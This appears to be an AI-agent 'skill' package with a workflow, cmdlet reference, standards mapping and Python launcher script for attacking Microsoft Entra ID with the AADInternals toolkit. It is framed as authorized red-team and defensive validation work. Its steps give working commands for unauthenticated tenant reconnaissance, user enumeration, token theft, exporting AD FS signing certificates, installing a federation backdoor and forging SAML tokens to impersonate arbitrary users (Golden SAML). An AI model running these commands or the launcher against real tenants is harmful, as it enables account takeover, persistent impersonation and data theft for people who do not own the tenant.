npx skills add mukul975/Anthropic-Cybersecurity-SkillsLegal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.
Overview
AADInternals is the most comprehensive offensive/administrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios / Secureworks). It exposes hundreds of cmdlets (all prefixed AADInt) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS/PTA attacks, and the technique it is most famous for: federation backdoors that abuse the Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor path so an attacker who controls a federated domain's IssuerUri can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), the same class of technique used in the SolarWinds (Golden SAML) intrusions.
The toolkit separates capabilities by required position. Invoke-AADIntReconAsOutsider and Get-AADIntLoginInformation require no credentials — they query public endpoints (getuserrealm, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop/Seamless SSO is enabled. With a foothold, Get-AADIntAccessTokenFor* cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.
This skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation/AD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.
When to Use
- During an authorized Entra ID / Microsoft 365 red-team or assumed-breach assessment
- To enumerate external attack surface (verified domains, federation type, SSO) before credential attacks
- To validate that federation and AD FS token-signing certificates are protected against Golden SAML
- To test token acquisition and replay across Microsoft first-party APIs
- When building detections (pair with the blue-team Graph-log hunting skill) and you need real AADInternals telemetry
Prerequisites
- Written authorization covering identity-attack and federation-backdoor testing
- Windows host with PowerShell 5.1+ (or PowerShell 7 on the supported subset)
- For backdoor/federation tests: Global Administrator (or equivalent) in the target tenant, in scope per the ROE
- Install the module from the PowerShell Gallery:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # Cross-platform AsOutsider-only reimplementation (no creds) is also available: # https://github.com/synacktiv/AADOutsider-py - Familiarity with SAML/WS-Federation, OAuth tokens, and Azure AD Connect
Objectives
- Perform unauthenticated tenant reconnaissance and enumerate verified domains, tenant ID, and federation type
- Acquire and cache access tokens for Microsoft first-party APIs
- Enumerate users/groups/roles with an authenticated token
- Test the federation backdoor / Golden SAML path in a controlled, authorized manner
- Document exposure and deliver hardening recommendations (token-signing cert protection, federation monitoring)
MITRE ATT&CK Mapping
| ID | Technique | Application in this skill |
|---|---|---|
| T1606.002 | Forge Web Credentials: SAML Tokens | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken forge SAML tokens for arbitrary users via a controlled federation IssuerUri (Golden SAML) |
Related techniques: T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (token acquisition), T1556.007 Modify Authentication Process: Hybrid Identity (federation/PTA backdoors).
Workflow
Step 1: Unauthenticated outsider reconnaissance
No credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.
# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"
# Tenant GUID
Get-AADIntTenantID -Domain "target.com"Step 2: External user enumeration (optional, noisy)
Validate whether usernames exist via the GetCredentialType / autologon endpoints.
# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "user1@target.com"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsiderStep 3: Acquire and cache access tokens
With valid credentials (or an interactive prompt), obtain tokens for the API you need. -SaveToCache lets later cmdlets reuse the token automatically.
# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXOStep 4: Authenticated directory enumeration
Using a cached/acquired token, read directory objects to map privilege.
# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails
# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableIdStep 5: Inspect federation / AD FS configuration
Determine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.
# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.comStep 6: Federation backdoor / Golden SAML (authorized only)
Convert a domain to a backdoor by setting a known IssuerUri, then forge a SAML token for a target user using that domain's ImmutableId. Only in a controlled tenant with explicit authorization.
# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.
# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $samlStep 7: Document exposure and harden
Capture exactly what recon revealed, which tokens/APIs were reachable, and whether the backdoor/Golden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new/changed federation trusts, monitor Set-DomainAuthentication/Set-MsolDomainFederationSettings, and migrate where feasible to managed (cloud) authentication.
Tools and Resources
| Resource | Purpose | Source |
|---|---|---|
| AADInternals | Entra ID / AD FS attack & admin toolkit | https://github.com/Gerenios/AADInternals |
| AADInternals docs | Cmdlet reference and technique writeups | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | Cross-platform AsOutsider reimplementation | https://github.com/synacktiv/AADOutsider-py |
| Golden SAML background | Federation backdoor technique writeup | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https://attack.mitre.org/techniques/T1606/002/ |
Cmdlet Quick Reference
| Cmdlet | Position | Purpose |
|---|---|---|
Invoke-AADIntReconAsOutsider |
None | Verified domains, tenant ID, federation type, SSO |
Get-AADIntLoginInformation |
None | Realm/login details for a domain |
Get-AADIntTenantID |
None | Tenant GUID |
Invoke-AADIntUserEnumerationAsOutsider |
None | Validate user existence |
Get-AADIntAccessTokenForAADGraph |
Creds | Azure AD Graph token (-SaveToCache) |
Get-AADIntAccessTokenForMSGraph |
Creds | Microsoft Graph token |
Get-AADIntAccessTokenForEXO |
Creds | Exchange Online token |
Get-AADIntUsers |
Token | Enumerate directory users |
ConvertTo-AADIntBackdoor |
Global Admin | Convert a domain into a federation backdoor |
New-AADIntSAMLToken |
Backdoor | Forge a SAML token for a user (Golden SAML) |
Open-AADIntOffice365Portal |
SAML token | Open a portal session as the impersonated user |
Validation Criteria
- Outsider recon completed; verified domains, tenant ID, and federation type recorded
- User enumeration tested (or documented as out of scope)
- Access token acquired and cached for at least one Microsoft API
- Authenticated directory enumeration performed (users/roles, synced accounts noted)
- Federation / AD FS configuration assessed for token-signing key exposure
- Backdoor / Golden SAML path tested in an authorized controlled tenant or documented as out of scope
- Exposure documented with concrete impact
- Hardening recommendations delivered (cert protection, federation monitoring, managed auth migration)
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 2
api-reference.md2.5 KB
AADInternals Cmdlet Reference
Installation
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternalsReconnaissance (no credentials)
| Cmdlet | Key parameters | Purpose |
|---|---|---|
Invoke-AADIntReconAsOutsider |
-DomainName <fqdn> |
Verified domains, tenant ID, federation type, brand, Desktop SSO |
Get-AADIntLoginInformation |
-Domain <fqdn> |
getuserrealm login/realm details |
Get-AADIntTenantID |
-Domain <fqdn> |
Tenant GUID |
Invoke-AADIntUserEnumerationAsOutsider |
-UserName <upn> |
Validate user existence |
Token Acquisition (credentials required)
| Cmdlet | Key parameters | Purpose |
|---|---|---|
Get-AADIntAccessTokenForAADGraph |
-SaveToCache, -Credentials, -KerberosTicket |
Azure AD Graph (graph.windows.net) token |
Get-AADIntAccessTokenForMSGraph |
-SaveToCache |
Microsoft Graph token |
Get-AADIntAccessTokenForEXO |
-SaveToCache |
Exchange Online token |
Get-AADIntAccessTokenForOneDrive |
-Tenant, -SaveToCache |
SharePoint/OneDrive token |
Get-AADIntAccessTokenForAzureCoreManagement |
-SaveToCache |
Azure Resource Manager token |
Authenticated Enumeration
| Cmdlet | Purpose |
|---|---|
Get-AADIntTenantDetails |
Tenant configuration overview |
Get-AADIntUsers |
Enumerate directory users (UPN, DirSync, ImmutableId) |
Get-AADIntGlobalAdmins |
List Global Administrators |
Get-AADIntServicePrincipals |
Enumerate service principals |
Federation / AD FS / Golden SAML
| Cmdlet | Key parameters | Purpose |
|---|---|---|
Export-AADIntADFSSigningCertificate |
-Path <pfx> |
Export AD FS token-signing certificate |
Get-AADIntADFSConfiguration |
-Server <fqdn> |
Read AD FS configuration |
ConvertTo-AADIntBackdoor |
-DomainName <fqdn>, -AccessToken |
Convert a domain to a federation backdoor (sets IssuerUri) |
New-AADIntBackdoor |
-DomainName, -Issuer |
Create a backdoor federated domain |
New-AADIntSAMLToken |
-ImmutableID, -Issuer, -UseBuiltInCertificate |
Forge a SAML token for a user |
Open-AADIntOffice365Portal |
-SAMLToken |
Open a portal session as the impersonated user |
Notes
- Many enumeration cmdlets consume the AAD Graph token cached by
-SaveToCache. ConvertTo-AADIntBackdoorrequires a Global Administrator AAD Graph token.- The cross-platform AsOutsider-only reimplementation is
synacktiv/AADOutsider-py.
standards.md1.1 KB
Standards and Framework Mapping
NIST CSF 2.0
| ID | Name | Rationale |
|---|---|---|
| ID.AM-03 | Organizational communication and data flows are mapped | Outsider recon and authenticated enumeration map the tenant's identity surface, federation trust flows, and which APIs/tokens reach which data. |
MITRE ATT&CK
| ID | Name | Rationale |
|---|---|---|
| T1606.002 | Forge Web Credentials: SAML Tokens | Core technique: AADInternals' federation backdoor + New-AADIntSAMLToken forge SAML tokens (Golden SAML) for arbitrary users. |
| T1087.004 | Account Discovery: Cloud Account | Outsider/authenticated user enumeration. |
| T1528 | Steal Application Access Token | Get-AADIntAccessTokenFor* token acquisition and reuse. |
| T1556.007 | Modify Authentication Process: Hybrid Identity | Federation/PTA backdoor establishment. |
Supporting References
- AADInternals documentation — https://aadinternals.com/aadinternals/
- Golden SAML / federation backdoor — https://aadinternals.com/post/aadbackdoor/
- MITRE T1606.002 — https://attack.mitre.org/techniques/T1606/002/
- NIST CSF 2.0 — https://www.nist.gov/cyberframework
Scripts 1
agent.py4.6 KB
#!/usr/bin/env python3
"""
agent.py - Entra ID outsider-recon helper + AADInternals (PowerShell) launcher.
Two capabilities:
1. recon : Pure-Python unauthenticated tenant reconnaissance hitting the SAME
public Microsoft endpoints AADInternals' Invoke-AADIntReconAsOutsider
uses (getuserrealm, OpenID configuration). No credentials needed.
2. run : Convenience launcher that invokes an AADInternals cmdlet through
PowerShell (pwsh/powershell) for the authenticated/backdoor cmdlets.
AUTHORIZED USE ONLY. AADInternals can forge SAML tokens and backdoor federation.
Use only against tenants you own or are explicitly authorized to assess.
References:
- AADInternals https://aadinternals.com/aadinternals/
- getuserrealm https://login.microsoftonline.com/getuserrealm.srf
"""
import argparse
import json
import shutil
import subprocess
import sys
import urllib.parse
import urllib.request
import urllib.error
UA = "Mozilla/5.0 (AADInternals-audit-helper)"
def _get_json(url: str) -> dict:
req = urllib.request.Request(url, headers={"User-Agent": UA})
try:
with urllib.request.urlopen(req, timeout=30) as r:
return json.loads(r.read().decode())
except urllib.error.HTTPError as e:
return {"_error": f"HTTP {e.code}", "_body": e.read().decode(errors="replace")[:200]}
except urllib.error.URLError as e:
return {"_error": str(e.reason)}
def get_user_realm(domain: str) -> dict:
"""Mirror AADInternals: getuserrealm.srf reveals managed vs federated + auth URL."""
user = f"nn@{domain}"
url = ("https://login.microsoftonline.com/getuserrealm.srf?login="
+ urllib.parse.quote(user) + "&xml=0")
return _get_json(url)
def get_tenant_id(domain: str) -> str:
"""OpenID configuration exposes the tenant GUID in the issuer/authorization_endpoint."""
url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration"
cfg = _get_json(url)
issuer = cfg.get("issuer", "")
# issuer looks like https://sts.windows.net/<tenant-guid>/
parts = [p for p in issuer.split("/") if p]
return parts[-1] if parts else ""
def recon(args) -> int:
domain = args.domain
print(f"[*] Outsider recon for: {domain}")
realm = get_user_realm(domain)
if "_error" in realm:
print(f"[!] getuserrealm failed: {realm['_error']}", file=sys.stderr)
else:
ns = realm.get("NameSpaceType", "Unknown")
print(f" NameSpaceType : {ns} ({'Federated' if ns=='Federated' else 'Managed/cloud'})")
print(f" Brand : {realm.get('FederationBrandName') or realm.get('DomainName')}")
if realm.get("AuthURL"):
print(f" Federation Auth: {realm['AuthURL']}")
if realm.get("federation_protocol"):
print(f" Fed protocol : {realm['federation_protocol']}")
tid = get_tenant_id(domain)
if tid:
print(f" Tenant ID : {tid}")
if args.json:
print(json.dumps({"realm": realm, "tenant_id": tid}, indent=2))
return 0
def run_cmdlet(args) -> int:
"""Launch an AADInternals cmdlet via PowerShell."""
shell = shutil.which("pwsh") or shutil.which("powershell")
if not shell:
print("[!] PowerShell (pwsh/powershell) not found on PATH", file=sys.stderr)
return 3
cmdlet = args.cmdlet
extra = " " + " ".join(args.args) if args.args else ""
script = f"Import-Module AADInternals; {cmdlet}{extra}"
print(f"[*] {shell} -> {script}")
try:
return subprocess.run([shell, "-NoProfile", "-Command", script],
check=False).returncode
except KeyboardInterrupt:
return 130
def main() -> int:
p = argparse.ArgumentParser(description="Entra outsider recon + AADInternals launcher.")
sub = p.add_subparsers(dest="mode", required=True)
r = sub.add_parser("recon", help="Unauthenticated outsider recon (pure Python)")
r.add_argument("domain", help="Target tenant domain, e.g. target.com")
r.add_argument("--json", action="store_true", help="Also print raw JSON")
r.set_defaults(func=recon)
c = sub.add_parser("run", help="Run an AADInternals cmdlet via PowerShell")
c.add_argument("cmdlet", help="Cmdlet name, e.g. Get-AADIntAccessTokenForMSGraph")
c.add_argument("args", nargs=argparse.REMAINDER,
help="Extra args passed verbatim (e.g. -SaveToCache)")
c.set_defaults(func=run_cmdlet)
args = p.parse_args()
print("[i] AUTHORIZED TESTING ONLY -- confirm tenant is in scope.")
return args.func(args)
if __name__ == "__main__":
sys.exit(main())